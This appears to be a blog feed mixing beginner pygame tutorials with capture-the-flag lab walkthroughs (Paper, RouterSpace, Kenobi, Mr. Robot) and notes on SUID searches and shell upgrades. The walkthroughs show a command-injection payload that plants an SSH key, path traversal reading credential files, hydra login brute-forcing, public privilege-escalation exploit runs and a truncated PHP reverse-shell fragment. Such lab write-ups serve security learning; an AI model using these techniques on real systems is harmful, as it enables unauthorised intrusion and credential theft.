<pre><code># player jumping with space and falling with gravity
player_gravity = 0 # global variable
# event loop to jump if the space is pressed
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE:
player_gravity = -20
print("jump")
# event loop to jump if the player is clicked with the mouse
if event.type == pygame.MOUSEBUTTONDOWN:
if player_rectangle.collidepoint((event.pos)):
player_gravity = -20
# exponential function (outside the event loop)
player_gravity += 1
player_rectangle.y += player_gravity
screen.blit(player_surface, player_rectangle)
</code></pre>
Keyboard Input In Pygame2023-06-10T00:00:00+00:002023-06-10T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/keyboard-input/<p>There are 2 different ways of getting keyboard input:</p>
<ol>
<li>pygame.key</li>
<li>event loop</li>
</ol>
<h2 id="1-pygame-key">1. pygame.key</h2>
<ul>
<li>great when using seperate controls inside classes.
>pygame.key.get_pressed() – returns an object that contains all the buttons and their states</li>
</ul>
<pre><code>keys = pygame.key.get_pressed() # stores the obj in the keys dictionary
# keys[pygame.K_SPACE] --> returns either 0 or 1
if keys[pygame.K_SPACE]: print("jump")
</code></pre>
<h2 id="event-loop">Event Loop</h2>
<ul>
<li>have a little bit more control over the controls compared to pygame.key</li>
</ul>
<ol>
<li>check if any button was pressed</li>
<li>work with a specific key</li>
</ol>
<pre><code>if event.type == pygame.KEYDOWN: #triggers when a key is pressed
print("key Down")
if event.type == pygame.KEYUP: # triggers when a pressed key is released
print("key Up")
</code></pre>
<pre><code>if event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE:
print("jump")
</code></pre>
Rectangles In Pygame2023-06-10T00:00:00+00:002023-06-10T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/pygame-rectangles/<h2 id="functions-of-rectangles">Functions Of Rectangles</h2>
<ul>
<li>Precise Positioning of Surfaces</li>
<li>Basic Collisions</li>
</ul>
<h2 id="virtual-attributes-which-can-be-used-to-move-and-align-the-rectangles">Virtual Attributes Which Can Be Used To Move And Align The Rectangles</h2>
<pre><code>x,y
top, left, bottom, right
topleft, bottomleft, topright, bottomright
midtop, midleft, midbottom, midright
center, centerx, centery
size, width, height
w,h
</code></pre>
<p><img src="https://blog.vishalrashmika.com/blog/pygame-rectangles/images/rectangles.png" alt="" /></p>
<h2 id="differences-between-surfaces-and-rectangles">Differences Between Surfaces And Rectangles</h2>
<p>Surfaces:</p>
<ul>
<li>Can only grab the origin point to adjust the surface</li>
</ul>
<p>Rectangles:</p>
<ul>
<li>Can Grab Any Point(Virtual Attributes) to adjust and control the position |</li>
<li></li>
</ul>
<h2 id="rectangles-for-precise-positioning-of-surfaces">Rectangles For Precise Positioning of Surfaces</h2>
<ol>
<li>Surface For Image information</li>
<li>Placement Via Rectangle</li>
</ol>
<pre><code>import pygame
from sys import exit
pygame.init()
screen = pygame.display.set_mode((576,400))
pygame.display.set_caption('Runner')
clock = pygame.time.Clock()
ground_surface = pygame.image.load('assets/background/ground.png').convert_alpha()
sky_surface = pygame.image.load('assets/background/sky.png').convert_alpha() # 576 x 324
test_font = pygame.font.Font('assets/fonts/font1.ttf', 25)
text_surface = test_font.render('My Runner Game', False, 'Blue')
enemy_image = pygame.image.load('assets/characters/enemy/enemy.png').convert_alpha()
snail_x_pos = 450
############# Importing the player Image and creating a rectangle ##################
####################################################################################
player_surface = pygame.image.load('assets/characters/player/player.png').convert_alpha()
player_rectangle = player_surface.get_rect(midbottom = (200,324))# creating a recatngle of size player_surface and adjusting the position
####################################################################################
####################################################################################
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
exit()
screen.blit(sky_surface, (0,0))
screen.blit(ground_surface, (0,76))
screen.blit(text_surface, (200,50))
screen.blit(enemy_image, (snail_x_pos, 187))
snail_x_pos -= 4
if snail_x_pos < -50:
snail_x_pos = 570
######################### using the rectangle in display Surface #####################################
######################################################################################################
screen.blit(player_surface, player_rectangle) # displaying the rectangle
player_rectangle.left += 1 # moving the player
print(player_rectangle.left) # measure the position
#######################################################################################################
#######################################################################################################
pygame.display.update()
clock.tick(60)
</code></pre>
Basic Animations in Pygame2023-06-09T00:00:00+00:002023-06-09T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/basic-animation-in-pygame/<h2 id="animating-static-images">Animating Static Images</h2>
<pre><code>import pygame
from sys import exit
pygame.init()
screen = pygame.display.set_mode((576,400))
pygame.display.set_caption('Runner')
clock = pygame.time.Clock()
ground_surface = pygame.image.load('assets/background/ground.png').convert_alpha()
sky_surface = pygame.image.load('assets/background/sky.png').convert_alpha()
test_font = pygame.font.Font('assets/fonts/font1.ttf', 25)
text_surface = test_font.render('My Runner Game', False, 'Blue')
##################### Importing the enemy Image ####################################
####################################################################################
enemy_image = pygame.image.load('assets/characters/enemy/enemy.png').convert_alpha()
snail_x_pos = 450
####################################################################################
####################################################################################
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
exit()
screen.blit(sky_surface, (0,0))
screen.blit(ground_surface, (0,76)) # (400-324)
screen.blit(text_surface, (200,50))
######################### Animating the enemy in display Surface #####################################
######################################################################################################
# animation
screen.blit(enemy_image, (snail_x_pos, 187))
snail_x_pos -= 4 # can adjust the speed by value / direction by sign
# looping the enemy to repeat the motion
if snail_x_pos < -50:
snail_x_pos = 570
#######################################################################################################
#######################################################################################################
pygame.display.update()
clock.tick(60)
</code></pre>
Creating a window in pygame2023-06-09T00:00:00+00:002023-06-09T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/creating-a-window-in-pygame/<h2 id="creating-a-window">Creating A Window</h2>
<pre><code>import pygame
from sys import exit
pygame.init() # start pygame
screen = pygame.display.set_mode((800,400)) # creating display surface ((width,height))
pygame.display.set_caption('Runner') # title of the game
clock = pygame.time.Clock() #controlling the frame rate
while True:
for event in pygame.event.get(): # get all the events and loop through them
if event.type == pygame.QUIT:
pygame.quit() #end the game
exit() # breaking the loop
# draw elements
#update everything
pygame.display.update() #getting all the things and put them in the display surface
clock.tick(60) # should not run the while true loop faster than 60x per second
</code></pre>
<h2 id="common-event-types">Common Event Types</h2>
<ul>
<li>QUIT</li>
<li>ACTIVEEVENT</li>
<li>KEYDOWN</li>
<li>KEYUP</li>
<li>MOUSEMOTION</li>
<li>MOUSEBUTTONUP</li>
<li>MOUSEBUTTONDOWN</li>
<li>JOYAXISMOTION</li>
<li>JOYBALLMOTION</li>
<li>JOYHATMOTION</li>
<li>JOYBUTTONUP</li>
<li>JOYBUTTONDOWN</li>
<li>VIDEORESIZE</li>
<li>VIDEOEXPOSE</li>
<li>USEREVENT</li>
</ul>
Displaying Surfaces in Pygame2023-06-09T00:00:00+00:002023-06-09T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/displaying-surfaces-in-pygame/<h2 id="surfaces">Surfaces</h2>
<p>In order to draw or display any kind of image a surface is needed,</p>
<p>Two types of surfaces:</p>
<ol>
<li>
<p>Display surface</p>
<ul>
<li>The game window</li>
<li>Must be unique</li>
<li>Is always visible</li>
</ul>
</li>
<li>
<p>Regular surface</p>
<ul>
<li>A single image</li>
<li>Needs to be put on display surface to be visible</li>
<li>Flexible amount</li>
<li>Only displayed when connect to the display surface</li>
<li>Regular Surfaces:-
Plain Colour surfaces/
Image Surfaces/
Text Surfaces</li>
</ul>
</li>
</ol>
<h2 id="positions-in-pygame">Positions in Pygame</h2>
<blockquote>
<p>The <code>point of origin (0,0)</code> is in the top left corner. In order to move right <code>x axis should be increased</code> and in order to move to bottom the <code>y axis should be increased</code>. If the size of the display surface is (1000, 600) the maximum x coordinate is 1000 and maximum y coordinate is 600. In order to display a surface of size (200, 300) at the bottom left corner :- (display width size - surface width size, display height size - screen height size) / position_coordinates = (800,300).
<code>THE COORDINATE SYSTEM IS BASED ON PIXELS</code></p>
</blockquote>
<h2 id="creating-a-surface-with-plain-colour">Creating A Surface With Plain Colour</h2>
<pre><code>import pygame
from sys import exit
pygame.init()
screen = pygame.display.set_mode((800,400))
pygame.display.set_caption('Runner')
clock = pygame.time.Clock()
############## Creating and Adding Colour to s Surface #############################
####################################################################################
test_surface = pygame.Surface((100,200)) # Creating a new surface ((Widht, Height))
test_surface.fill('Red') # adding colour to the surface
####################################################################################
####################################################################################
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
exit()
######################## Displaying the created surface in display Surface ###########################
######################################################################################################
screen.blit(test_surface, (0,0)) # attach the surface to display surface. blit --> Block Image Transfer(putting one surface on another surface). (surface, position of the display surface)
'''
screen.blit(test_surface, (0,0)) -->
Getting the top left corner(0,0) of the test_surface and placing it in the (0,0) of the diplay surface
screen.blit(test_surface, (surface to be displayes, position of the display surface to be displayed))
'''
screen.blit(test_surface, (700,200)) # (display width size - surface width size, display height size - screen height size) display on the bottom corner
#######################################################################################################
#######################################################################################################
pygame.display.update()
clock.tick(60)
</code></pre>
<h2 id="creating-a-surface-with-images">Creating A Surface With Images</h2>
<pre><code>import pygame
from sys import exit
pygame.init()
screen = pygame.display.set_mode((800,400))
pygame.display.set_caption('Runner')
clock = pygame.time.Clock()
##################### Importing an Image ###########################################
####################################################################################
test_surface = pygame.image.load('assets/background/sky.png').convert_alpha()
####################################################################################
####################################################################################
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
exit()
######################## Displaying the Image in display Surface #####################################
######################################################################################################
screen.blit(test_surface, (0,0))
#######################################################################################################
#######################################################################################################
pygame.display.update()
clock.tick(60)
</code></pre>
<blockquote>
<p><code>.convert_alpha()</code> convert the images so pygame can use them much more easier</p>
</blockquote>
<h2 id="creating-text">Creating Text</h2>
<ol>
<li>creating an image of the text</li>
<li>placing it on the display surface</li>
</ol>
<pre><code>import pygame
from sys import exit
pygame.init()
screen = pygame.display.set_mode((800,400))
pygame.display.set_caption('Runner')
clock = pygame.time.Clock()
test_surface = pygame.image.load('assets/background/sky.png')
############### Importing an font and creating text surface ########################
####################################################################################
test_font = pygame.font.Font('assets/fonts/font1.ttf', 50)
# pygame.font.Font(font type, font size). None --> default font
text_surface = test_font.render('My game', False, 'Blue')
# test_font.render(text information, anti aliasing, colour)
# anti aliasing --> smoothing the edges of the text
####################################################################################
####################################################################################
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
exit()
################### Displaying the text surface in display Surface ###################################
######################################################################################################
screen.blit(test_surface, (0,0))
screen.blit(text_surface, (300,50))
#######################################################################################################
#######################################################################################################
pygame.display.update()
clock.tick(60)
</code></pre>
Paper2022-05-24T00:00:00+00:002022-05-24T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/paper/<p><img src="https://pbs.twimg.com/media/FKmnXsEXwAURwMy.jpg" alt="" /></p>
<h2 id="scanning">Scanning</h2>
<p>Let’s start with the Nmap scan.</p>
<pre><code>nmap -sV -sC 10.10.11.143
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/nmap.png" alt="" /></p>
<h1 id="web-enumeration">Web Enumeration</h1>
<p>we found 3 open ports one is a web server let’s go and see that web</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/website.png" alt="" />
Now let’s run nikto to find a vulnerability.</p>
<pre><code>nikto -h http://10.10.11.143
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/nikto.png" alt="" /></p>
<p>Take a look at the header ‘x-backend-server’. Maybe we can use that as a hostname for the IP of our target. So, let’s edit the hosts file. Open the /etc/hosts file using a text editor and edit it.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/etchosts.png" alt="" /></p>
<p>now we can go and search for office.paper in a browser and see what it does. We can see a new page. It looks like WordPress.
now let’s enumerate the web for a little bit.
We can see something that is suspicious.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/comment.png" alt="" /></p>
<p>But in order to see the drafts we need admin credentials.
From the wappalyzer plugin that I had installed, I found that it run WordPress 5.2.3 .</p>
<h2 id="exploitation">Exploitation</h2>
<h3 id="vulnerability-analysis">Vulnerability Analysis</h3>
<p>After searching I found a vulnerability to see drafts without admin creds.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/vulnerability.png" alt="" /></p>
<p>Now let’s see what we can find. It was successful.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/exploited.png" alt="" /></p>
<p>And we get the secret that tells us about the new vhost and registration URL. let’s add the vhost in the /etc/hosts file.
<br>
After adding chat.office.paper to the hosts file we can go and see the employee chat system.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/rocketchat.png" alt="" /></p>
<p>Let’s create an account and see.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/login.png" alt="" /></p>
<p>Now we are inside the dashboard let’s click on general.</p>
<p>In the chat, there is recyclops bot that helps the user to list the sales directory with the list command and with the file command we can view the content inside the file.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/general.png" alt="" /></p>
<p>let’s chat with him. I am using the list and file command to get the content inside the directory.</p>
<p>Went inside some directories but nothing seems interesting.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/notmusch.png" alt="" /></p>
<p>The list command list the directory of the current path let’s try directory Path Traversal using ../ .And we get the previous directory content. hubot directory looks interesting. Let’s check the content in that.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/much.png" alt="" /></p>
<p>Got a .env file. .ENV file is usually used to store secrets.
<br></p>
<p>let’s check the content in that using file ../hubot/.env. And we got the username and password.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/usernamepassword.png" alt="" /></p>
<p>Let’s try these creds to log in inside rocket.chat. It was a failure.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/notallowed.png" alt="" /></p>
<p>Let’s check the user available in this machine using file ../../../etc/passwd.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/etcpasswd.png" alt="" /></p>
<p>Remember the owner of the files that we saw when we did our directory traversal? That was Dwight, right? So let’s try using his username and the password that we found on the .env file of hubot. Let’s SSH into the server.</p>
<pre><code>ssh dwight@10.10.11.143
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/ssh.png" alt="" /></p>
<blockquote>
<p><code>bdd37d03ff2e322e42c68c8688b85705</code> — User Flag</p>
</blockquote>
<p>And we got the user.txt.</p>
<h2 id="privesc">Privesc</h2>
<p>To find a method to escalate our privileges I will use linpeas. First, let’s copy linpeas to the machine.</p>
<pre><code>scp /opt/PEAS-ng/linpeas/linpeas.sh dwight@10.10.11.143:/dev/shm
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/linpeas.png" alt="" /></p>
<p>Now let’s run linpeas.</p>
<pre><code>./linpeas.sh
</code></pre>
<h3 id="vulnerability-analysis-1">Vulnerability Analysis</h3>
<p>And we see this machine is vulnerable to CVE-2021-3560 which is Polkit or Pwnkit which allows unprivileged users to call privileged methods using DBus.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/CVE.png" alt="" /></p>
<p>Let’s get this python script inside this machine and run this.</p>
<pre><code>python3 CVE-2021-3560
</code></pre>
<p>Exploit work successfully and we got a root shell back.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/rooted.png" alt="" /></p>
<p>Now we can get the root flag.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/paper/rootflag.png" alt="" /></p>
<blockquote>
<p><code>0268727bc5f970f81813a559c456ba62</code> — Root Flag</p>
</blockquote>
RouterSpace2022-05-24T00:00:00+00:002022-05-24T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/routerspace/<p><img src="https://ethicalhacs.com/wp-content/uploads/2022/03/RouterSpace-Banner.jpg" alt="" /></p>
<h2 id="scanning">Scanning</h2>
<p>first, let’s start with the Nmap scan.</p>
<pre><code>nmap -sV -sC 10.10.11.148
</code></pre>
<p>From the Nmap scan, we can see that 2 opens are open
one is a web server and another one is an SSH.</p>
<p>~<a rel="noopener" target="_blank" href="https://jmvrp-gallery.netlify.app/pictures/routerspace/nmap.png"></a></p>
<h2 id="web-enumeration">Web Enumeration</h2>
<p>Let’s visit the website first,</p>
<p>~<a rel="noopener" target="_blank" href="https://jmvrp-gallery.netlify.app/pictures/routerspace/website.png"></a></p>
<p>It’s just a static website only the download button is working. Download the routerspace.apk. Install the RouterSpace.apk in anbox or you can use android studio or genymotion it works the same.</p>
<br>
<p>Running the application click on Check Status it’s said the router is working fine.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/running.png" alt="" /></p>
<h2 id="exploitation">Exploitation</h2>
<p>Let’s intercept this in burp. But for that, I need to first set the proxy.</p>
<blockquote>
<p>adb shell settings put global http_proxy 10.10.14.28:8001 </p>
</blockquote>
<p>Now configure the burp to intercept the traffic of tun0 IP.</p>
<p>Now everything is set let’s click on Check Status. Captured the request.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/request.png" alt="" /></p>
<p>Let’s send it to the repeater tab.
But it’s going on routerspace.htb</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/repeater.png" alt="" /></p>
<p>Let’s add this in /etc/hosts file.
Now send the req.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/send.png" alt="" /></p>
<p>Let’s try command injection with id. But it’s reflected the same string.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/cmdinject.png" alt="" /></p>
<p>Now let’s try to do some basic methods to bypass the filter. I simply add \n in front of the command.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/rce.png" alt="" /></p>
<p>it worked.</p>
<p>I tried different methods to get a rev shell but non of them worked because of IP tables rules. Let’s check if there is any id_rsa key in the paul .ssh directory.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/sshdir.png" alt="" /></p>
<p>Nothing there so I decided to add my public id_rsa key inside paul .ssh directory. But first, let’s generate the key.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/ssh-keygen.png" alt="" /></p>
<p>Now let’s add this in the paul .ssh directory.</p>
<p>Using double greater than sign(>>) because I don’t want to overwrite someone’s ssh key so this simply appends the file content.</p>
<pre><code>{“ip”:”\necho ‘your public id_rsa key’ >> /home/paul/.ssh/authorized_keys”}
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/sshkey.png" alt="" /></p>
<p>Check whether the file exists there or not and It is there.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/ls.png" alt="" /></p>
<p>Now let’s get the ssh connection.</p>
<pre><code>ssh -i /home/larnzlort/.ssh/id_rsa paul@10.10.11.148
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/ssh.png" alt="" /></p>
<p>Now let’s grab the user flag.</p>
<pre><code>cat user.txt
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/userflag.png" alt="" /></p>
<blockquote>
<p><code>2394adcb72320ac4a8e18a4cd7fdaa98</code> — User Flag</p>
</blockquote>
<h2 id="privesc">Privesc</h2>
<p>Now due to iptables rules, we don’t simply curl the linpeas file but we can use scp to copy the file through ssh.</p>
<pre><code>scp -i /home/larnzlort/.ssh/id_rsa /opt/PEASS-ng/linPEAS/linpeas.sh paul@10.10.11.148:/dev/shm
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/linpeasmov.png" alt="" /></p>
<p>Now we have the linpeas let’s run it.</p>
<pre><code>./linpeas.sh | tee linpeas_out
</code></pre>
<p>And we see sudo is vulnerable.</p>
<p><a rel="noopener" target="_blank" href="https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py">CVE-2021-3156</a></p>
<p>Let’s transfer the exploit through ssh.</p>
<pre><code>scp -i /home/larnzlort/.ssh/id_rsa ./CVE-2021-3156.py paul@10.10.11.148:/dev/shm
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/exploitmov.png" alt="" /></p>
<p>now let’s run the exploit</p>
<pre><code>python3 CVE-2021-3156.py
</code></pre>
<p>And we get the root.txt.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/routerspace/rootflag.png" alt="" /></p>
<blockquote>
<p><code>635f3fe93741b2e566ef5cef97d3c18e</code> — Root Flag</p>
</blockquote>
<p>And we successfuly pwned it …….</p>
Finding Files With SUID Binaries2022-05-20T00:00:00+00:002022-05-20T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/finding-files-with-suid-binaries/<p>SUID stands for “Set User ID”, and it is a special type of permission that can be given to a file so the file is always run with the permissions of the owner instead of the user executing it. This is necessary for a lot of programs to work properly in Unix. The ping program requires root privileges to create network sockets. It is also a program that is commonly used by non-privileged users to test network connections. Instead of only allowing users with elevated privileges to run ping, the SUID permission is placed on the file so that anyone can run the program with root privileges. Because ping is a tried and tested program, it has been deemed safe to be run with SUID permissions.</p>
<p>Other programs have various ways of abusing SUID privileges because they have additional features that allow a user to “break out” of the intended functionality.</p>
<p>You can use these commands to find a list of SUID enabled executables on a Unix machine:</p>
<pre><code>find / -user root -perm -4000 -print 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
find / -type f -perm -u=s 2>/dev/null | xargs ls -l
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
</code></pre>
Upgrading Dumb Shells to Fully Interactive TTYs2022-05-20T00:00:00+00:002022-05-20T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/upgrading-dumb-shells/<p>It can often be frustrating when working with reverse shells if all you have is a “dumb” shell. A dumb shell is a type of shell that doesn’t have a proper terminal’s full functionality. That means things like tab completion, keyboard shortcuts, and terminal history simply aren’t present.</p>
<p>Specific commands like <code>su</code> will not work in dumb shells, which makes things complicated when trying different privilege escalation techniques. Text editors don’t work very well in these conditions either, which can be a pain.</p>
<h2 id="method-1-python-pty-module">Method 1 : Python pty Module</h2>
<pre><code>python -c 'import pty; pty.spawn("/bin/bash")'
</code></pre>
<h2 id="method-2-upgrading-from-netcat-with-magic">Method 2: Upgrading from netcat with magic</h2>
<pre><code>python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg
enter
</code></pre>
<p><img src="https://pbs.twimg.com/media/FTiALSDXEAAPWPA?format=png&name=900x900" alt="" /></p>
Kenobi2022-05-17T00:00:00+00:002022-05-17T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/kenobi/<p><img src="https://miro.medium.com/max/855/1*_M8KYGp0PPLKYkoGQS6TMA.png" alt="" /></p>
<h2 id="scanning">Scanning</h2>
<p>Let’s start with Nmap.</p>
<pre><code>nmap -T5 –max-retries 2500 -sC -sV 10.10.229.143
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/nmap.png" alt="" /></p>
<h2 id="enumeration">Enumeration</h2>
<p>We can see that SMB is running on port 445. Let’s enumerate it.</p>
<pre><code>nmap -p 445 –script=smb-enum-shares.nse,smb-enum-users.nse 10.10.229.143
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/nmapsmb.png" alt="" /></p>
<p>We can see 3 shares. Let’s inspect these shares.</p>
<pre><code>smbclient //10.10.229.143/anonymous
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/inspectingshares.png" alt="" /></p>
<p>We found a file names log.txt. Let’s get it.</p>
<pre><code>smbget -R smb://$IP/anonymous
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/smbget.png" alt="" /></p>
<p>Let’s see what mount can we see.</p>
<pre><code>sudo nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.229.143
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/rpc.png" alt="" /></p>
<h2 id="exploitation">Exploitation</h2>
<p>Let’s try to exploit the proftpd that we got from log.txt.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/fptversion.png" alt="" /></p>
<p>We can see the version of proftpd. Now let’s try to find a exploit for proftpd version 1.3.5.</p>
<pre><code>searchsploit proftpd 1.3
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/searchsploit.png" alt="" /></p>
<p>We can see a perfect exploit names ‘mod_copy’ command execution.</p>
<p>The mod_copy module implements <code>SITE CPFR</code> and <code>SITE CPTO</code> commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.
<br>
We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
<br>
Now let’s copy Kenobi’s private key using SITE CPFR and SITE CPTO commands.</p>
<pre><code>nc 10.10.229.143
CPFR /var/tmp/id_rsa
CPTO /var/tmp/id_rsa
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/CPFR.png" alt="" /></p>
<p>We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.</p>
<p>Let’s mount the /var/tmp directory to our machine.</p>
<pre><code>mkdir /mnt/kenobiNFS
mount machine_ip:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/nfsshare.png" alt="" /></p>
<p>We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi’s account.</p>
<pre><code>ssh -i id_rsa kenobi@10.10.229.143
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/ssh.png" alt="" />
Now we can grab the user flag.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/usertxt.png" alt="" /></p>
<blockquote>
<p><code>d0b0f3f53b6caa532a83915e19224899</code> — User Flag</p>
</blockquote>
<p>SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.</p>
<p>Let’s search for the files with SUID binaries.</p>
<pre><code>find / -perm -u=s -type f 2>/dev/null
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/SUIDfiles.png" alt="" /></p>
<p>‘/usr/bin/menu’ doesn’t look ordinary.</p>
<p><img src="https://miro.medium.com/max/1188/1*M7CF0_yvhvMa6mRV5sRTdw.png" alt="" /></p>
<p>Strings is a command on Linux that looks for human-readable strings on a binary.
This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).
As this file runs as the root user’s privileges, we can manipulate our path to gain a root shell.</p>
<p><img src="https://miro.medium.com/max/1400/1*c6kfmB3-TMe3KZQEYu8VxQ.png" alt="" />
<img src="https://miro.medium.com/max/1400/1*EuX_WocdqlYPFPBrCris4Q.png" alt="" /></p>
<p>Now let’s grab the user flag.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/kenobi/privesc.png" alt="" /></p>
<blockquote>
<p><code>177b3cd8562289f37382721c28381f02</code> — Root Flag</p>
</blockquote>
<p>We pawned it………</p>
Mr. Robot2022-05-17T00:00:00+00:002022-05-17T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/mr-robot/<p><img src="https://miro.medium.com/max/876/1*Ho0L6wG_mAH6q5u5quAbDw.png" alt="Banner" /></p>
<h2 id="scanning">Scanning</h2>
<p>First let’s first start with our Nmap scan.</p>
<pre><code>nmap -sV -sC -A -O 10.10.123.2
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/nmap.png" alt="nmap_img" /></p>
<p>A website seems to be opened in port 80. Let’s go and visit that.
<img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/website.png" alt="website_img" /></p>
<p>You can just explore more about the web. Lets look at a common file in websites robot.txt.
<br>
we can see 2 files namely, fsocity.dic and key-1-of-3.txt. Let’s download and see.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/wget.png" alt="dwnld_img" /></p>
<p>fsocity.dic is a dictionary file.
key-1-of-3.txt is the first flag.
><code>073403c8a58a1f80d943455fb30724b9</code> — First Flag</p>
<h2 id="web-enumeration">Web Enumeration</h2>
<p>Let’s use gobuster to find hidden directories of the</p>
<pre><code>gobuster -w /usr/share/wordlists/dirbuster/directory-medium-2.3.txt -u http://10.10.123.2
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/gobuster.png" alt="gobutser_img" /></p>
<p>Found wp-login, which is the login page of the wordpress dashboard.
<br>
To bruteforce and gain acess to the wordpress dashboard we are using the fsocity.dic file as the wordlist.
There are 2 ways to do this,</p>
<h3 id="1-bruteforcing-to-find-the-username">1. BRUTEFORCING TO FIND THE USERNAME:</h3>
<pre><code>hydra -L fsocity.dic -p test 10.10.123.2 http-post-form “/wp-login:log=^USER^&pwd=^PWD^:Invalid username” -t 30
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/hydrausername.png" alt="" />
We got Elliot as the username.</p>
<h3 id="2-bruteforcing-to-find-the-password">2. BRUTEFORCING TO FIND THE PASSWORD:</h3>
<p>For this i will use burp suite.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/passwordbruteforce.png" alt="" /></p>
<p>we got ER28-0652 as the password
<br>
Now let’s log in to wordpress.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/wordpress.png" alt="" /></p>
<p>Now let’s use wordpress to get a reverse shell. Get the <a rel="noopener" target="_blank" href="https://github.com/pentestmonkey/php-reverse-shell">php reverse shell of pentest monkey</a> in github.</p>
<h2 id="revshell">Revshell</h2>
<pre><code>array(“pipe”, “r”), // stdin is a pipe that the child will read from
1 => array(“pipe”, “w”), // stdout is a pipe that the child will write to
2 => array(“pipe”, “w”) // stderr is a pipe that the child will write to
